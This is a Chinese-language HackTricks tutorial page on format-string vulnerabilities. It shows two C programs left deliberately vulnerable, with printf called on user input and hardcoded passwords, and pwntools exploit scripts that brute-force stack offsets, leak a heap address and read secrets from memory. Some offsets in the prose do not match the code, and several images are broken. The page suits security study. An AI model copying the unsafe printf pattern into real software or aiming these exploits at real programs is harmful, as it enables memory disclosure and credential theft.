hacktricks/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md

190 lines
6.6 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 格式化字符串 - 任意读取示例
{% hint style="success" %}
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}
## 读取二进制文件起始位置
### 代码
```c
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
```
使用以下命令编译:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### 攻击利用
```python
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
* 偏移量为11因为设置多个A并使用循环进行**暴力破解**从偏移量0到50发现在偏移量11处并带有5个额外字符在我们的情况下是竖线`|`),可以控制完整地址。
* 我使用**`%11$p`**进行填充直到看到地址全为0x4141414141414141。
* **格式字符串有效载荷位于地址之前**,因为**printf在遇到空字节时停止读取**所以如果我们先发送地址然后发送格式字符串printf永远不会到达格式字符串因为会先遇到空字节。
* 选择的地址是0x00400000因为这是二进制文件的起始位置没有PIE
```c
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
```
使用以下命令编译:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### 从栈中读取
**`stack_password`** 将被存储在栈中,因为它是一个局部变量,所以只需滥用 printf 来显示栈的内容就足够了。这是一个利用 BF 前100个位置来从栈中泄露密码的漏洞利用
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
在图像中,我们可以看到我们可以从堆栈中的第`10`位置泄漏密码:
<figure><img src="../../.gitbook/assets/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### 读取数据
运行相同的利用程序,但使用`%p`代替`%s`,可以在`%25$p`处从堆栈中泄漏堆地址。此外,将泄漏的地址(`0xaaaab7030894`)与该进程中内存中密码的位置进行比较,我们可以获得地址之间的差异:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
现在是时候找出如何控制堆栈中的一个地址,以便从第二个格式字符串漏洞中访问它:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
并且可以看到,在**尝试14**中,通过使用传递,我们可以控制一个地址:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### 攻击利用
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{% hint style="success" %}
学习并练习AWS Hacking<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}